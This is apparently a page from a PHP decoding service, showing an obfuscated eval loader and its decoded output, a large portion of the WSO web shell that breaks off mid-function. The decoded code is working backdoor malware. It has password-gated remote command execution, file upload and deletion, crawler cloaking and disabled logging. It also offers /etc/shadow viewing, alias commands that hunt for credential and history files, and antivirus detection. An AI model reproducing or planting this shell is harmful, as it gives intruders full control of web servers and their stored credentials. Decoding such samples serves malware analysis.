Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** :O */ preg_replace("\x2F\x2E\x2A\x2F\x65","\x65\x76\x61\x6C\x28\x67\x7A\x..

Decoded Output download

$auth_pass = "36f1e9fd6375a8383cacc79f5a837fdb";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
if( !empty($_SERVER['HTTP_USER_AGENT']) ) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    foreach($userAgents as $agent)
        if( strpos($_SERVER['HTTP_USER_AGENT'], $agent) !== false ) {
            header('HTTP/1.0 404 Not Found');
            exit;
        }
}
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', '3.0');
if( get_magic_quotes_gpc() ) {
	function WSOstripslashes($array) {
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
	}
	$_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if( strtolower( substr(PHP_OS,0,3) ) == "win" )
	$os = 'win';
else
	$os = 'nix';
$safe_mode = @ini_get('safe_mode');
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if( isset( $_POST['c'] ) )
	@chdir($_POST['c']);
$cwd = @getcwd();
if( $os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if( $cwd[strlen($cwd)-1] != '/' )
	$cwd .= '/';

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . "- WSO [Black-ID] " . VERSION ."</title>
	<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
<style>

input[type=submit], input[type=button], input[type=reset]{
	text-align:center;
	background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
	border:1px solid #4D4D4D;
	color:#CCCCCC;
	border-top-color:#565656;
	padding:4px 6px;
	margin:4px 5px;
	height:16px;
	-moz-box-shadow:0 0 1px black;
	-webkit-box-shadow:0 0 1px black;
	box-shadow:0 0 1px black;
	text-shadow:0 1px black;
	-moz-border-radius:4px;
	-webkit-border-radius:4px;
	-khtml-border-radius:4px;
	border-radius:4px;
	height:23px;
}

input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
	background-position:center top;
	text-decoration:none;
}
input[type=text], input[type=password]{
	background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
	border:1px solid #4D4D4D;
	color:#CCCCCC;
	border-top-color:#565656;
	-moz-box-shadow:0 0 1px black;
	-webkit-box-shadow:0 0 1px black;
	box-shadow:0 0 1px black;
	-moz-border-radius:4px;
	-webkit-border-radius:4px;
	-khtml-border-radius:4px;
	border-radius:4px;
	height:18px;
	margin-left: 5px;
}
input , textarea , button , body , caption , table ,area , option {
    outline:none;
    transition: all 0.20s ease-in-out;
    -webkit-transition: all 0.25s ease-in-out;
    -moz-transition: all 0.25s ease-in-out;
    border-radius:3px;
    -webkit-border-radius:3px;
    -moz-border-radius:3px;
    border:1px solid rgba(0,0,0, 0.2);
 /*   font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
input , textarea {
    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
}


input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus  {
    box-shadow: 0 0 5px rgba(0, 0, 255, 1);
    -webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
    -moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);

    border: 1px solid #CCCC00;

    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
    overflow: auto;
/*    font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}

body{
/*	font-family : Verdana; */
	color : #f9f6f1;
	font-size : 0.7em;
	background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
}
input , textarea {
    outline:none;
    transition: all 0.20s ease-in-out;
    -webkit-transition: all 0.25s ease-in-out;
    -moz-transition: all 0.25s ease-in-out;
    border-radius:3px;
    -webkit-border-radius:3px;
    -moz-border-radius:3px;
    border:1px solid rgba(0,0,0, 0.2);
}
input:focus, textarea:focus {
  outline: 0;
  border-color: rgba(82, 168, 236, 0.8);
  -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  -moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
  box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);


    background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
    overflow: auto;

}
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre{font-family:Courier,Monospace;}


</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':addslashes(htmlspecialchars($_POST['p1']))) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':addslashes(htmlspecialchars(@$_POST['p2']))) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':addslashes(htmlspecialchars(@$_POST['p3']))) ."';
	function set(a,c,p1,p2,p3,charset) {
		if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
		if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
		if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
		if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
		if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
		if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		document.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<document.mf.elements.length;i++)
			params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$exdblink = 'http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=';
	if( strpos('Linux', $kernel) !== false )
		$exdblink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
	else
		$exdblink .= urlencode( $kernel . ' ' . substr($release,0,3) );
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(@posix_geteuid());
		$gid = @posix_getgrgid(@posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}
	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0;$i<$n-1;$i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0;$j<=$i;$j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Domains'=>'Domain','Sql'=>'Sql','Safe mode'=>'SafeMode','String tools'=>'StringTools','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
	$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a>]</th>';
	$drives = "";
	if ($GLOBALS['os'] == 'win') {
		foreach( range('c','z') as $drive )
		if (is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
		 '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$exdblink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.wsoViewSize($totalSpace).' <span>Free:</span> '.wsoViewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.wsoPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
		 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"].'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'<br><a href="http://www.bing.com/search?q=ip:' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Bing ]</a> | <a href="http://www.zone-h.org/archive/ip=' . @$_SERVER["SERVER_ADDR"] . '" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table>'.
		 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value);return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span><br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form>$is_writable</td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form>$is_writable</td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span><br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form>$is_writable</td>
	</tr></table></div></body></html>";
}

if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
function wsoEx($in) {
	$out = '';
	if(function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	}elseif(function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	}elseif(function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	}elseif(function_exists('shell_exec')) {
		$out = shell_exec($in);
	}elseif(is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}
function wsoViewSize($s) {
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}
function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>'.wsoPerms(@fileperms($f)).'</font>';
	elseif (!@is_writable($f))
		return '<font color=white>'.wsoPerms(@fileperms($f)).'</font>';
	else
		return '<font color=#00BB00>'.wsoPerms(@fileperms($f)).'</font>';
}
if(!function_exists("scandir")) {
	function scandir($dir) {
		$dh  = opendir($dir);
		while (false !== ($filename = readdir($dh))) {
    		$files[] = $filename;
		}
		return $files;
	}
}
function wsoWhich($p) {
	$path = wsoEx('which '.$p);
	if(!empty($path))
		return $path;
	return false;
}
function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>'.$n.': </span>';
			if(strpos($v, "
") === false)
				echo $v.'<br>';
			else
				echo '<pre class=ml1>'.$v.'</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if( $GLOBALS['os'] == 'nix' ) {
		$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
		$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
		$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
		wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
		wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
		wsoSecParam('OS version', @file_get_contents('/proc/version'));
		wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
		if(!$GLOBALS['safe_mode']) {
			echo '<br>';
			$temp=array();
			foreach ($userful as $item)
				if(wsoWhich($item)){$temp[]=$item;}
			wsoSecParam('Userful', implode(', ',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(wsoWhich($item)){$temp[]=$item;}
			wsoSecParam('Danger', implode(', ',$temp));
			$temp=array();
			foreach ($downloaders as $item)
				if(wsoWhich($item)){$temp[]=$item;}
			wsoSecParam('Downloaders', implode(', ',$temp));
			echo '<br/>';
            wsoSecParam('HDD space', wsoEx('df -h'));
			wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
		}
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}



function actionFilesMan() {
	wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_SESSION['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != "..")) {
									copy_paste($c.$s.'/',$f, $d.$s.'/');
								}
						} elseif(is_file($c.$s)) {
							@copy($c.$s, $d.$s);
						}
					}
					foreach($_SESSION['f'] as $f)
						copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
				} elseif($_SESSION['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != "..")) {
									copy_paste($c.$s.'/',$f, $d.$s.'/');
								}
						} elseif(@is_file($c.$s)) {
							@copy($c.$s, $d.$s);
						}
					}
					foreach($_SESSION['f'] as $f)
						@rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_SESSION['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)eval('return ZIPARCHIVE::CREATE;'))) {
                            chdir($_SESSION['c']);
                            foreach($_SESSION['f'] as $f) {
                                if(@is_file($_SESSION['c'].$f))
                                    $zip->addFile($_SESSION['c'].$f, $f);
                                elseif(@is_dir($_SESSION['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_SESSION['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_SESSION['f'] as $f) {
                            if($zip->open($_SESSION['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				}
				unset($_SESSION['f']);
				break;
			default:
				if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
					$_SESSION['act'] = @$_POST['p1'];
					$_SESSION['f'] = @$_POST['f'];
					foreach($_SESSION['f'] as $k => $f)
						$_SESSION['f'][$k] = urldecode($f);
					$_SESSION['c'] = @$_POST['c'];
				}
				break;
		}
	}
	$dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return;	}
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<document.files.elements.length;i++)
			if(document.files.elements[i].type == 'checkbox')
				document.files.elements[i].checked = document.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link'));
		elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
